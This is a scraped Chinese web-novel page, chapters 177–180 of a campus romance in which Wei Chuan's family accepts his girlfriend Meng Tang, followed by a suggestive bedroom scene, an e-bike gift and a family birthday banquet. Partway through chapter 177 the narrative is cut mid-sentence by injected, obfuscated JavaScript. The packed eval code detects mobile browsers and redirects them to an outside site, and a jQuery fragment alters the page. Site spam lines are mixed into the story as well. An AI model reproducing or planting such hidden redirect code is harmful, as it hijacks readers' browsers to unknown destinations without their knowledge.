“我懂。”魏川牵着她的手继续往前,“我倒是没什么愧疚感,只有许鹤清那个哑巴为什么不早点跟我说的愤怒感。” 其实后来想一想,他哪里喜欢谢泠音了? 他要真喜欢,早他妈把人追到手了。 不都说直男爱甜妹吗?谢泠音就是甜美那一挂的,又是校花,当时田聿他们都谈了女朋友,故意问他喜欢什么类型的女生。 他随口一说最起码跟校花一样漂亮才能匹配上他的颜值,田聿他们就起哄谢泠音。 现在回头看,他无数次庆幸孟棠去训练馆找了他,不然也不会有现在的一切。 魏川笑了声,故意道:“废弃篮球场哭了吧?后来木雕被人破坏了,也哭了吧?” 孟棠拽了下他的胳膊:“走了。” 学校太大,两人纯靠腿走了半个多小时才回到寝室。 谢泠音刚洗完澡,见到孟棠,调侃了句:“呦,心情不错啊。” 孟棠笑了声:“一切按计划进行,我有预感,这几天会有一个好结果。” 谢泠音朝她拱手:“我是真佩服你了,还没进门,就把婆婆拿捏得死死的。” “别胡说。”孟棠有点哭笑不得,“我洗澡去了。” 谢泠音这话,在以后的岁月里,含金量一直不断上升。 之后的半个月,魏川总来找她,吃饭的时候拿了孟棠的手机,真给楚女士发了条“管好你儿子”的信息。 孟棠简直无语了:“你就不能再耐心等一等。” 话音刚落,她手机响了起来。 她将手机给魏川看:“都怪你,把楚女士气着了。” “接啊。”魏川抬了下巴,“开免提。” 孟棠开了免提。 “孟棠啊,是我,魏川的妈妈。” “我知道,阿姨。”孟棠又白了眼魏川,“您找我有什么事吗?” “魏川找你了?”楚茵在手机里问。 信息都发了,孟棠硬着头皮承认,说:“他现在就在我对面。” 没出息的,楚茵清了清嗓子,说:“那什么……过两天老太太过寿,让魏川带你过来玩。” 孟棠和魏川同时一怔,魏川率先开口:“妈?” “妈什么妈。”楚茵的语气瞬间不好了,“日子你自己告诉孟棠,挂了。” 楚女士心梗了一瞬,为自己不坚定的立场。 算了,魏立峰昨晚跟她聊了半宿,最终还是让她为爱妥了协。 她要是剥夺了魏川爱孟棠的资格,只怕魏川从此以后都笑不出来。 直接从魏甜甜变成魏苦苦。 第177章 你知道我现在想干什么吗 食堂里,孟棠和魏川彼此对视了一眼,手中的筷子不约而同顿住了。 孟棠眨了眨眼:“是……什么意思?” 她说话都有些结巴了,语气里满是期待的试探。 “**!”魏川看着孟棠,“我妈这是同意了?” “别问我。”孟棠也很怀疑刚才自己是不是幻听了。 “肯定是同意的意思。”魏川说,“毕竟奶奶过寿在我们家也不算小事,那天很多人都会过来。” 从商业合作伙伴到私交好友,酒店都被包下了。 孟棠饭都没心思吃了,问他:“什么时候啊?” “下礼拜六。”魏川说,“日子也挺好的,咱们又放假,我带你回去见见奶奶。” 孟棠咳了声:“那天……是不是会有很多人?” 她已经能想到那个令人窒息的场面。 “呃……”魏川无法反驳,“人是挺多的,还有很多亲朋,你是我女朋友,也不可能躲着,但我陪着你呢,放心吧。” “倒也不是怕。”孟棠朝他笑了笑,“感觉人多的地方,待着不自在。” 她又是第一次见到魏川家的亲朋好友,肯定有的议论。 魏川说:“打个招呼就行了,没有谁敢给你难堪。” “那天是不是很正式?”孟棠看了眼自己,“我是不是要准备衣服?” 魏川还没回答,魏思嘉打了电话过来。 “等一下,我接个电话。”魏川朝孟棠笑了笑,接了魏思嘉的电话,“喂,大姐。” 魏思嘉说:“给你公寓送了一批寿宴的礼服,来不及给孟棠量尺寸,都是成衣,你让她去试试吧。” 真是想什么来什么,魏川说:“行,谢谢大姐。” 挂断电话后,魏川看了时间,随后问孟棠:“今天周六,你下午应该有时间吧?跟我回一趟公寓。” “去公寓干什么?”孟棠继续低头吃饭,“我下午还有事,粗胚还没凿完。” 魏川犹豫了一瞬,跟她商量:“那等你忙完再去?大姐送了衣服过去,你好歹试一下,万一不合适怎么办?” “不能明天再去?”孟棠眼睛溜圆地看向魏川,“我估计要到晚上九点才能出来。” “这样吧。”魏川说,“我结束训练再来找你,咱们去康铂睡一晚,你什么也不用带,反正什么都有。” 自从两人确定关系后,他公寓里早就添了孟棠日常可以穿的衣服鞋袜。 从里到外一件不落,不过没让公寓的服务人员来,是让家里阿姨帮忙采购送过去的。 孟棠还在犹豫,魏川已经起了身,他端起餐盘,丢下一句“就这么说定了”。 看着他消失在门口的背影,孟棠张了张嘴,她还没答应呢,人就火急火燎地走了。 存的什么心思,别以为她不知道。 — 今天是田聿的生日,魏川回了寝室,将买的球鞋带去了训练馆。 田聿看到鞋子,一整个将魏川搂住,感动得热泪盈眶,嚎了一嗓子“川哥”。 魏川简直无语,将比自己高一大截的壮熊拉开:“离我远点。” 田聿嘿嘿一笑,抱着鞋子“滚”了。 魏川拍了拍手:“集合,老贺今天不在,我带你们。” “好嘞。”邵一鸣应了声。 魏川指了指他们:“我晚上跟我女朋友还有事,今天训练的数据必须达标,谁敢拖后腿,下次生日没有球鞋。” 这话一出,谁还敢拖后腿。 魏川送的球鞋都是定制款,一般人买不到。 孟棠在木雕工作室忙到九点,晚饭都没吃,要不是魏川给她打了电话,她还没打算锁门。 下楼后,她径自去了北门等魏川。 离得远,魏川是骑着邵一鸣的自行车过来的。 将车锁了后,魏川带着孟棠打车去了康铂。 孟棠累得倒在魏川肩头,魏川一言不发,握住她的手腕,一路揉到康铂。 自从学了这个大件雕刻,魏川觉得孟棠整个人都憔悴了不少。 上了楼,孟棠拖着步子问魏川:“有没有吃的啊?我好饿。” 魏川蹙眉:“别告诉我你还没吃饭。” 孟棠心虚地点了点头。 魏川弹了下她脑袋:“先去洗澡,我给你叫餐。” “好。”孟棠笑了声,终于有了点活力。 魏川无奈地摇了摇头,拨了私人管家的专线。 25分钟左右,管家将两人食晚餐送到了玄关,魏川亲自端到了餐厅。 孟棠正好出了浴室,魏川朝她招了招手:“快点来吃饭。” 孟棠闻到一股咸香,问了句:“点了什么?” 魏川说:“瑶柱鲜虾砂锅粥,两个清淡的时蔬小炒,一份蟹粉小笼包。” 听着挺多,其实份量很少,即便魏川要的是双人份。 孟棠拿起筷子,慢条斯理吃了起来。 洗完澡的人,脸上粉扑扑的,仿佛掐一下能出一捧水。 视线下移,魏川愣了下:“你手怎么回事?” “没事。”孟棠有点不好意思,“就是软化了一下角质,磨掉了老茧。” 魏川“啧”了声:“折腾什么?你今晚磨了,明天不还得拿刀,到时候疼死你。” 孟棠自然知道,只是洗澡的时候摸到,下意识就去磨掉了。 “没事,”孟棠笑着转移话题,“你吃不吃?我有点吃不掉。” 魏川拿起筷子,和她一起将晚餐解决了。 吃完饭,孟棠在屋里走来走去开始消化,魏川去洗澡了,她边走边做腕力的训练。 魏川很快洗完澡,孟棠也去浴室刷了牙,出来的时候,在衣帽间的门口看到了魏川。 差点把正事忘了,孟棠走过去,问:“我现在试吗?” 魏川问:“明天你去不去学校?” 孟棠点了点头:“要去啊,我感觉每天的时间都不够用,周末时间最足,不能浪费。” “那你今晚就得把衣服试完。”魏川将她拉进衣帽间,“都在这儿了,你自己看看喜欢哪件,我姐送过来的呢,都是贴合寿宴场合的,你只需要选一件就行。” 孟棠看着整排的衣服有些咋舌,她回眸看向魏川:“这么多都是啊?” 魏川点了点头:“也不算多吧,你没见过魏思沅的衣帽间。” 孟棠在柜子外来回巡视了两圈,表情有些纠结。 魏川站到她身后,说:“喜欢什么颜色?” 孟棠说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097038|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“绿色蓝色太鲜亮了,紫色感觉我年龄还不到,穿不出来什么效果,黄色像一只花丛里的蝴蝶。” 魏川忍俊不禁,指着其中一件新中式的礼服:“这件呢,藕粉色的。” “你拿下来,我试试。” 魏川将衣服拿下来给她,转身出了衣帽间。 除了礼服外,魏思嘉还送来了相关的搭配饰品,孟棠换好衣服,没动别的,挑了一根相配的发簪将头发挽了起来。 随后,她去镜子前照了照,觉得还不错。 “好了吗?”魏川在外头喊。 “好了,进来吧,帮我看一下怎么样?” 魏川进来,仅一眼就呆了。 这是一件改良的新中式旗袍,素缎为底,裙摆至腰身绣着错落有致的海棠。 裙摆晃动间如夜风浮动,感觉下一秒就得落下几片花瓣。 不艳不寡,曲线分明,好看得要命。 魏川舔了下唇:“要不,换一件吧。” “嗯?”孟棠看向他,“为什么要换?我觉得这件挺好的。” 魏川上前一步,搂住她的腰,小气道:“太好看了,不想让别人看。” 孟棠故意逗他:“那就这件吧,我喜欢。” 魏川:“……” 孟棠将发簪拿下,推了把魏川:“你先回房,我要换睡衣。” 魏川眼眸一转,出去了。 孟棠又费劲巴拉地将衣服换了下来,穿上了白色的真丝睡裙。 她不太习惯这样的睡衣,那冰凉丝滑的触感,总觉得跟没穿似的。 但魏川这里,睡衣都是这种。 他自己倒是不讲究,T恤短裤一套就完事了。 孟棠离开衣帽间,进了卧室,进去时却一愣,床上没有魏川。 “嗯?人呢?”孟棠转身,刚要喊,被躲在一侧的魏川一把抱了起来。 她整个人悬空了几秒,最后倒在了床上,魏川压了上来。 坐过山车也不过如此,孟棠从被吓到慌张,再到淡定,是已经适应了魏川时不时闹腾的节奏。 她笑盈盈地问:“你要干啥?” 简直就是在勾引人,魏川哼了声,低头亲了上去。 他的手掌贴着孟棠的脖颈,指尖顺着她的颈侧划来划去,孟棠承受不住,偏头躲开他的吻:“别摸,痒。” 魏川握住她手腕,缓缓上移扣住她的手指,小声问:“为什么把手上磨得光滑了?” 孟棠抿了抿唇:“别的女生,手好像都是软的。” “呵……”魏川笑得有些无奈,抓起她的手亲了下,“我又不亲别的女生的手。” 孟棠顺势揉了下他的掌心,语气有些娇俏:“真会说话。” “我说的是实话。”魏川低头撞了下她鼻尖,“下次别磨了,听见没有?” “知道了。”孟棠也不是不识好歹的人。 魏川目光下移,视线落到她唇上,低声说:“你知道我现在想干什么吗?” “干什么?”孟棠轻笑一声。 魏川再次抬眼,和她视线相撞。 那双黑色的瞳孔里簇着幽幽的火苗,似要把她灼烧。 孟棠呼吸一顿,侧过身就想逃跑,被魏川一把按住:“躲什么?我能吃了你?” 第178章 太乖了,有点舍不得 耳边滚着灼热的呼吸,孟棠几乎不敢去看魏川的眼睛。 两人僵持了许久,热得孟棠额间冒上一层细密的汗。 她推了下魏川,小声嘟囔:“你先下去啊,热**了。” 魏川不仅没下去,反倒是埋到她颈窝蹭了下,引得孟棠一阵战栗。 “宝宝,帮一下?”魏川堵着孟棠的耳朵轻笑,“求求了?” 一瞬间,孟棠的耳朵变得又红又烫。 这要怎么帮? 魏川磨了下牙,一把掀起被子将两人罩了进去。 孟棠一惊,下一秒就被堵了唇舌。 她的小腿被握了下,曲起后,丝滑的裙摆滑落腰间。 毕竟还没进一步接触,孟棠晚上睡觉,衣服穿得是整整齐齐,不像在宿舍随心。 后背抵上一只温热的掌心,她的耳朵被柔软的唇碰了下,温柔的声音带着一点乞求:“脱了?” 孟棠一愣,室内大灯没关,即便在被子里,两人也能清清楚楚地看到彼此,只不过会有一点朦胧。 孟棠以为他想要,磕磕绊绊半天,说:“那你把灯关了吧。” 魏川又用语音控制关了灯,两人彻底陷入黑暗中。 拱起来的被子瘪了下去,魏川略带激动地吻住了孟棠。 世界上所有的男人在接吻的时候,手都不会太老实,魏川也不例外。 床边窸窸窣窣落下几件衣服,有大有小。 孟棠在里面闷出了一头的汗,可还是被魏川类似发烧的体温吓了一跳。 “你怎么了?” 魏川呼出一口气:“难受。” 孟棠不自在地清了下嗓子:“怎么帮你?” 魏川亲昵地亲了下她的脸,叹了声气:“太乖了,突然有点舍不得,等着,我自己去一趟浴室。 “别。”孟棠努力克制着涌上来的慌乱,“我可以帮你。” 魏川撑在她两侧,尽力不压着她,毕竟两人体型悬殊,他怕把人压坏。 一听她这话,魏川心里软了吧唧的,他抵着孟棠的唇,说:“先亲我。” 孟棠顺着他的肩膀搂住他脖颈,慢慢吻了上去。 被子里时不时漏两句交错的音节,在黑暗的卧室里编织了一曲暧昧的调子。 也不知过了多久,黑夜彻底平息。 魏川掀开被子,露出两人红潮熏涨的脸。 孟棠发誓,帮忙男朋友是一件比木雕还要累的事。 魏川揉了下她的手腕,哄道:“再去浴室冲一下?身上都是汗。” 孟棠坐起来:“我先去,你先待着。” “好。”魏川应了声,在她脸上亲了下,“我保证灯都不开,去吧。” 孟棠逃命一般下了床,魏川靠在床头笑得痞气,可算迈出了第一步。 跟自己的五指姑娘果然不一样。 回味了半天,魏川又笑起来,他赶紧趁孟棠睡觉的时候换了床单和被子。 不过大少爷没做过这种事,铺得皱皱巴巴。 孟棠从浴室出来,示意他先去洗澡,余光都不敢瞥一眼,因为魏川坦坦荡荡的,坦荡到浑身一丝不挂。 她重新将床铺整理好,趁着魏川没回来,立刻闭眼装睡。 经过刚才的亲密接触,魏川洗完了澡,胆子大了许多。 他上床直接将孟棠搂进怀中,还非得让她面对着自己。 孟棠的脸贴到他胸口的皮肤,一下睁开了眼睛:“你怎么不穿衣服?” 魏川笑道:“我一年四季只穿一件睡,舒服。” 孟棠:“……不能穿起来吗?” “有什么好穿的。”魏川故意耍赖,在她头顶上蹭了蹭,“摸都摸过了。” 孟棠在底下,一巴掌拍在了他腹肌上。 魏川轻笑:“故意的吧?想摸就摸呗,这腹肌不错吧?” 手感确实好,孟棠推了一把,哼了声:“睡觉吧。” 魏川抱紧她的腰,拍了拍她的后腰,一言不发哄人睡觉。 今晚确实闹得太晚,两人彼此靠着,没一会儿睡着了。 两人的睡眠质量出奇地一致,生物钟却隔了一个多小时。 不到六点,魏川就醒了。 他懒得下床,拿着手机玩了会儿,接近七点的时候,让人送了早餐过来。 孟棠忽然换了个姿势,魏川扭头去看她,盯了两三分钟,她终于迷迷糊糊睁开了眼睛。 “就知道你要醒,早餐已经让人送了,起床吗?” “起。”一早起来,孟棠的声音有些低。 她今天还要去木雕工作室,一点时间都不能浪费。 魏川见她坐着没动,跪在床上,一把将人抱了起来。 “干嘛?”孟棠已经习惯了他突如其来的举动,一边问一边将手环上他脖颈。 “带你洗漱呗,强制开机。” 孟棠笑了声:“别闹了,放我下来。” 到了浴室,魏川才将人放下,给两人的电动牙刷挤了牙膏,彼此挨着一起刷牙。 偶尔从镜子望一眼彼此,又默契一笑,这一刻甜蜜又安静。 魏川搂住孟棠的肩膀,含着牙刷说:“我们结婚后会不会也是这样?” 孟棠瞥了他一眼:“先把大三大四过完吧。” 魏川一下歇了菜,可随即一喜:“你的意思是……毕业就结婚?” “你想的话,可以啊。”孟棠倒是没有回避这个问题。 她和魏川和普通的毕业生不一样,两人都有坚定的目标和长期的事业发展规划。 不用面临层层面试体验牛马生活。 毕业就结婚对于他俩来说,只需要考虑清楚对彼此的感情,然后坚定地走下去。 魏川吐掉嘴里的牙膏沫,漱了口,等孟棠也漱口后,和她接了个满嘴桃香的吻。 送来的早餐就在玄关,魏川套上衣服去端了来。 这次没去餐厅,直接放到了客厅的茶几上。 等孟棠换好衣服出来的时候,他将人按坐在自己胸前。 孟棠回头问他:“这样吃饭真的好吗?” “有什么不好的?”魏川低头看着她,“你看咱俩这体型差,我坐你后面,筷子都比你伸得远。” 孟棠夹了一块虾饺塞进他嘴里,示意他赶紧吃饭。 不到二十分钟,两人解决了早餐,魏川收拾了垃圾,从茶几下拿出一盒糖,给孟棠嘴里塞了一颗,说: “我今天放假,陪你去工作室吧。” 孟棠说:“外人不能进去。” 魏川说:“我在楼下等你,中午你要是不想去食堂,我从食堂买过去,就在 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邵一鸣觉得牙酸,说:“那走吧,就在北门对面的街上,有两家生意特别好。” “质量好啊?”魏川问。 “不是。”邵一鸣笑了笑,“是因为卖很多梦幻的颜色,女生喜欢去,里面还有很多装饰品,一到春天,咱们学校那些粉的黄的绿的电动车如雨后春笋冒了出来。” 魏川在心里“哇”了声,简直是梦中情店啊。 赶紧走,中午之前必须拿下。 邵一鸣带着魏川去了对面街上的店铺,小学妹看到魏川时高兴得跳了起来。 “学长,您怎么也来了?” 魏川笑道:“给我女朋友买辆电动车。” “买小型的吧,大的女生支个腿都费劲,那边还有很多漂亮的装饰,都可以选的。” “好,谢谢。” 魏川给了邵一鸣一个眼色,邵一鸣将暧昧小对象叫走到一旁看车。 魏川指着一辆粉色的电动车,对老板说:“就它了,帮我装饰一下,还有门口的那个泡泡机也要。” “好嘞。”老板没想到魏川这么爽快。 从开单到结束,差不多两个小时,魏川玩了两个小时的游戏。 当老板叫他的时候,魏川看到了粉嘟嘟的电动车有点想笑。 因为感觉不是孟棠的风格,但很可爱,骑在路上一定回头率很高。 魏川试骑了一下,不如大的稳,有点颠,但这边的路不太好,学校里应该是没问题的。 他将车骑到邵一鸣面前,和他打了招呼:“鸣子,我先走了,孟棠还等着我呢。” 邵一鸣朝他摆了摆手,魏川一颠一颠骑着电动车走了。 那么高大的一个人,衬的电动车像个mini玩具。 骑到雕塑楼楼下,魏川坐在车上给孟棠打电话。 孟棠停下手里的活,接了:“才十一点,怎么就给我打电话了?” 魏川说:“十一点也不早了,下来吧,给你个惊喜。” “什么惊喜啊?”孟棠擦了下脖颈的汗。 “你现在就下来,保证你喜欢。” “好,等我五分钟。” 第179章 你穿西装啊 孟棠从楼上下来,刚出大门就被魏川堵住了去路。 “眼睛闭上。”魏川说。 孟棠乖乖闭上:“什么惊喜啊?我怎么有点心慌呢?” 魏川哼笑,从背后捂住她的眼睛,在她耳边说:“往前走。” 孟棠对魏川是很信任的,他说往前就往前。 大概走了二十多步,孟棠被魏川带着停了下来。 “睁开眼睛吧。”魏川说。 孟棠睁开眼睛,被眼前的一片粉惊到了,车篮上挂着一只公仔,后视镜背面是两只蝴蝶结,泡泡机紧紧钳着车把手,脚踏板的垫子是粉绿的郁金香…… 别的都能将就,那泡泡机……真的不会吃完饭再吃一嘴泡沫吗? 孟棠机械地转过头:“你疯了?这车能骑出去吗?” 停在那儿不用半小时就能被拆光,杨可又不是没弄过。 魏川推了推她,让她去试试:“好看吗?” 孟棠被他逗笑,径自坐上去,朝他比了个剪刀手。 魏川拿出手机给她拍了张照片,什么滤镜也没有,直接扔进了朋友圈。 孟棠别开钥匙,缓缓启动电动车,来回骑了两圈,最终在魏川面前停下。 她抬眸问:“多少钱买的?” “两千多。”魏川上前,“咱俩要是坐上去,不会跑不动吧?” 孟棠将车给他:“你骑,我坐后面。” 魏川接了车,说:“走,带你去食堂吃饭,溜一圈,保准被拍照,然后赞叹一句金童玉女。” 孟棠掐了把他的腰,真自恋。 然而,魏川并没有说错,两人一路走来,回头率挺高,不少人都拍了照片。 进了食堂,魏川问孟棠:“吃什么?” “我也不知道。”孟棠跟他一起去了打饭窗口,“随便打一点吧。” 魏川给两人拿了餐盘,说:“你多吃点,不吃都没力气雕刻。” “我已经吃了很多了。”孟棠指了指话梅排骨,“阿姨,打这个。” 孟棠打了两菜一汤,反观魏川的餐盘快堆成山了。 手机震动,群里发了一张魏川载着孟棠的照片。 杨可问孟棠:【你新买的车?你忘了我的教训了?】 孟棠:【魏川买的,到我眼前就这个样了。】 石岚:【肯定在学校对面买的。】 谢泠音:【看不出来,魏川那么少女心,这一看就不是你的风格啊,什么审美啊。】 孟棠为魏川证明:【我也挺喜欢的。】 谢泠音:【爱情使人盲目啊。】 孟棠失笑,魏川抬了抬眸:“笑什么?” 孟棠将手机翻转给他看:“都在吐槽你的审美,不过我挺喜欢的。” 魏川轻笑了声:“怎么跟魏思沅说一样的话,她在朋友圈吐槽我。” 发朋友圈了? 孟棠进了朋友圈,跳出了魏川的动态:好看吗? 孟棠翻到评论区—— 秦渊:【是让我夸人呢?还是夸车啊?】 魏川回:【只能夸车。】 魏思沅:【天哪,谁家谈恋爱送电动车的?你是没钱吗?】 魏川回:【那你送我一辆保时捷。】 魏思沅:【好土的粉色,提高一下审美吧,死直男。】 魏川回:【懒得搭理你。】 谢泠音:【咱家的棠真变成一颗糖了。】 …… 孟棠能看到的都是共同好友的评论和点赞。 魏思沅损起魏川来,是真的不留余地啊,两人岁数相差不大,是最爱闹腾的。 魏思沅又回了几句,魏川随即火力全开,一一回怼。 孟棠赶紧出了朋友圈,她怕被波及。 吃完饭,孟棠继续去工作室,魏川回了趟家,见楚茵生着气,挑了下眉,他没惹吧? “妈。”魏川走过去,在楚茵身边坐下,“您气什么?” “还不是你表舅,一天到晚专做恶心人的事,关系都断了这么多年了,又厚着脸皮上门认亲来了。” 当初魏川爷爷还在世的时候,和魏川奶奶那边的亲戚关系没处好,闹得十分难看,以至于魏川爷爷去世,那边也没派个人过来。 这件事,是老太太的心病,也让她和家里人从此断了来往。 没想到这次过寿,厚着脸皮说要过来。 魏川问:“爸怎么说?” 楚茵:“你爸发了一顿脾气,没搭理他们。” 魏川嗤笑了声:“无事不登三宝殿吧?他们混不下去了?” 楚茵懒得跟他说些长辈的问题,问他:“你不在学校好好谈恋爱,回来干什么?” 魏川说:“回来看看你们呗,顺道想跟你们说一声,奶奶生日那天人太多了,就别拉着我去应酬了,我陪着孟棠。” 楚茵白了他一眼:“你还能一辈子护着?以后这样的场面多的是。” 魏川说:“以后该出席的当然会出席,她这不是第一次过来嘛,比见家长还恐怖,人那么多,搁谁都紧张吧?” “有沅沅在,会陪着她的。”楚茵说,“下周六,体育产业的投资人和品牌方也会过来,到时候跟人家打个招呼。” 本小章还未完,请点击下一页继续阅读后面精彩内容!家里有资源人脉,自然要为魏川以后的事业铺路。 魏川想了下,点了点头:“行。” “你爸说最近要做个校园体育的公益,到时候你也要参加。” “好,把我们球队都带着吧?” 楚茵笑了声:“行。” 魏川搂住她晃了下:“妈,你真好,我明天还要上课,先走了。” “等一下。”楚茵叫住他,“厨房做了点心,带一点给孟棠和你室友吧,还有,周六那天你要妆造吗?” “要啊。”魏川比了比自己,“我要穿西装的吧?肯定要啊。” 楚茵问:“来家里还是去人家工作室?” 魏川直接下了决定:“让他们去康铂,我跟孟棠的衣服都在那儿呢。” 楚茵应了声,魏川从保姆手里接过打包好的点心赶回了学校,顺道从美院的雕塑楼接孟棠回寝。 孟棠乍然得到新车,新鲜感还是很足的。 但是坐两个人确实够呛,又有些上坡的路,只能她骑着车,魏川在旁边走。 “周五晚上跟我去康铂,第二天要做妆造。” 孟棠一愣:“这么正式?” “你以为呢。”魏川弹了下她脑袋,将给她的那一份点心放到她的篮子里,“回去跟室友分了吧,我妈让我带过来的。” “好。”孟棠边说边加快速度,“那我先走了,今天好累,想早点睡。” 魏川小跑追了两步:“真没良心。” 孟棠哈哈笑了两声,又加快了速度。 魏川在身后喊:“小心点,别太快了。” “知道了。” 孟棠回到寝室后,将甜心分给了室友,自己留了两块,在洗澡前全都吃了。 谢泠音转过头,说:“包装上没有logo哎,你在哪家买的,挺好吃的。” “魏川从家里带过来的。”孟棠从柜子里拿了浴巾,“应该是他家里的阿姨做的。” “彻底搞定魏川的家人了?”石岚靠上椅背,看向孟棠,“你真的可以啊,这才几天。” 杨可说:“开学的时候,咱仨还为你俩的爱情忧虑了半天。” 谢泠音:“我说什么来着?他俩一定会挺过来的,你们看魏川那样儿,像是能放下孟棠的样子吗?” 孟棠轻笑一声,掠过她们,进了浴室。 周一到周五,她和魏川忙得基本见不了面,比赛时间拉得越长,训练越不能落下,不然到时候只能等着挨打。 好不容易赢来的荣誉,必须要延续下去,不然以后但凡输一场,就得接受网友球迷的批判和辱骂。 为了不挨骂,只能更加努力地练习。 魏川下了训练场,火急火燎地洗了澡,从更衣室出来后,背着包就往外跑。 他在附近扫了一辆单车,长腿一蹬就跑了。 孟棠下楼的时候,魏川一个刹车到她面前。 他得意地笑了声:“怎么样?时间掐得正好吧?” 孟棠笑了声:“走吧。” 魏川将车还了,牵着她的手出了校门。 “好累啊。”孟棠几乎半挂在他身上。 魏川将她整个人搂在怀中,垂头亲了下:“走,回家洗完澡就睡觉,准备迎接明天的大战。” 孟棠推了他一把:“你别那么吓人。” 魏川捏了下她的耳垂,在路边拦了辆车。 回到康铂后,孟棠洗完澡回了卧室,魏川屁颠地让她躺下,说:“给你吹头发,你困的话就先睡。” “好。”孟棠爬上床,在他腿上躺平。 声音几乎没有,温度也很合适,孟棠不知不觉真的睡了过去。 魏川收了电吹风,轻轻将孟棠挪正了位置。 他的腿和裤子都被孟棠的头发弄湿了,起身去浴室冲了下,又换了衣服才回到床上,抱着孟棠睡着了。 寿宴就在第二天中午,除去早餐时间,还是有点赶的。 孟棠是女生,化妆的时间更久,魏川只能在六点就把她叫起来。 孟棠闭着眼睛,额头抵着魏川的胸口,迷迷糊糊问几点了。 “化妆师一会儿就到,咱们先起来吃早餐?” “好。”孟棠抬手抱住他,“再睡两分钟。” 魏川抱着她晃了晃,拿出手机叫了早餐。 化妆师八点后敲响了门,孟棠和魏川正好吃了早餐。 孟棠从柜子里拿出一盒糖,给魏川分了一颗。 自从去了螺洲岛,被魏川塞过糖后,她好像也染上了这个习惯。 魏川看着化妆师,指了指孟棠:“给我女朋友化吧,我不上妆。” 化妆师戴着口罩,闻言瞥了眼魏川,想说的话顿时憋了回去,这张权威的脸,面部折叠度高,皮肤白,眉眼深邃,还真不需要再去修饰,省得画蛇添足。 再看女生,长得也漂亮,但女生和男生不一样,可操作的空间大了去。 魏川指了指衣帽间:“你先化,我去试衣服。” “好。” 没一会儿,魏川拎着好几套西装出来给孟棠看:“你觉得哪个颜色好?” 孟棠一愣:“你要穿西装吗?” “是啊,怎么了?” 孟棠摇了摇头:“没见过。” 魏川笑道:“等一下不就见到了,哪个颜色?” 白色像结婚,黑色太沉闷,也不适合他这个年龄段,孟棠指了指浅灰色的西装:“这件。” 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第180章 小川的女朋友真高冷啊 男生换衣服是很快的一件事,孟棠刚上完粉底,魏川边整理着白衬衫的袖口边走了过来。 余光瞥到,孟棠下意识转过了头。 魏川的身形本就高大,衬衫都是量身定制款,不过分挺括,也不显松垮,完美地包裹着他健硕的身材。 衣摆收进灰色西装裤里,从腰到腿,线条利落干净,尤其是腰,给人一种劲劲儿的感觉。 化妆师小声地赞了声:“妈呀,这腿也太长了。” 魏川朝孟棠挑了下眉:“怎么样?” 孟棠点了点头:“好看。” 他衬衫上方的纽扣松着,喉结清晰地显露在眼前,轻笑时眉眼温柔,像一洌干净的池水。 但毕竟年纪在这儿摆着,这一套虽然稍显成熟,也摆脱不了清爽的男大气质。 孟棠没化过这么久的妆,一个清透如玉的妆容,竟然化了两个小时。 魏川套上外套,从衣帽间拿了手表和一对耳环。 珍珠项链有点耀眼,孟棠只怕不愿意戴,耳环点缀一下正正好。 化妆师完成任务离开了,孟棠从镜子前起身,一转头看到了穿着西装的魏川。 很奇妙,男大清爽的气质一下削弱了许多,成熟感攀了上来。 魏川歪头看了下,说:“给你戴个耳环,一点饰品都没有了,太素了。” 孟棠有耳洞,她自己接过,戴了上前。 魏川俯身在她耳朵上亲了下,说:“走吧,我奶奶想见一见你。” “等一下。”孟棠转头去床头柜拿了锦盒,“礼物不能忘了。” 这是确定老太太过寿后,她让孟遇春寄过来的。 孟遇春将松鹤延年的笔筒寄过来时,心里就有数了,魏川和孟棠解决了他家里的事。 那几天他心情格外地好,院里院外都能听到他哼的小曲儿。 方姐听了老爷子的解释也松了口气,两孩子一看就感情深厚,哪里能承受分开的痛苦。 魏家人也确实不错。 十点半,魏川携着孟棠抵达镜湖酒店。 宴会厅的布置是按照老太太的喜好来的,是中式风格,所以今天不少女性穿了旗袍。 魏川将孟棠的礼物交给迎宾记礼的人,随后牵着孟棠进了宴会厅。 不少客人还没到,这个时间点来的都是亲戚。 两人一出现,所有人的视线聚焦过去。 孟棠下意识抓紧魏川的手,魏川撇过头,小声说:“我在呢,带你去给我家的七大姑八大姨打个招呼。” 孟棠“嗯”了声,挺了下腰背。 她面表情地跟着魏川过去时,所有人心里只有一个想法:小川的女朋友真高冷啊。 通身书香门第的高冷,让人不敢接近。 楚茵和魏立峰起身迎了过来,孟棠微微颔首:“阿姨,叔叔。” 魏立峰侧过身:“这是小川的奶奶。” 老太太银发慈眉,孟棠一看望去,很有好感,她微微扯开一抹笑:“奶奶。” 老太太点了点头,默默打量她。 “奶奶,待会儿再给您聊。”魏川揽住孟棠的肩膀,“我先带她跟亲戚们打个招呼。” 老太太点点头:“去吧。” 魏川带着孟棠在宴会厅绕了一圈,将亲戚们介绍了一遍。 一圈下来,孟棠一个也没记住。 终于轮到魏明珠时,孟棠才松了口气,笑着打了招呼:“魏医生。” 魏明珠说:“我就说你俩不对劲。” 孟棠一愣,和魏川对视了眼,怎么不对劲了?” “你当时手受伤了,不是我这侄儿送过去的吗?”魏明珠说,“他紧张的模样,我还以为他喜欢你,给他八卦的时候,说你俩是根正苗红的同学情,也是没想到啊,兜兜转转在一起了。” 孟棠笑了声,为魏川作证:“我俩当时刚认识,正好碰到他有车,顺道送我去的医院。” 魏明珠“嗐”了声:“反正结果都一样,没嗑错啊。” 孟棠心想:竟然嗑她和魏川CP,也是有先见之明了。 和魏思嘉、魏思沅分别打了招呼后,魏川带着孟棠回到了老太太身边。 魏川率先开口:“孟棠给您送了礼物,已经登记了,您晚上回去看看,喜欢就搁书房用。” 老太太书法还是不错的,孟棠送的礼物很合适。 “好。”老太太笑眯眯地推了下魏川,“你坐过去,让孟棠坐我旁边。” 魏川笑着和孟棠换了个位置。 “你爷爷身体可好?”老太太记得之前孟遇春住过院。 “劳您挂念,都好。” 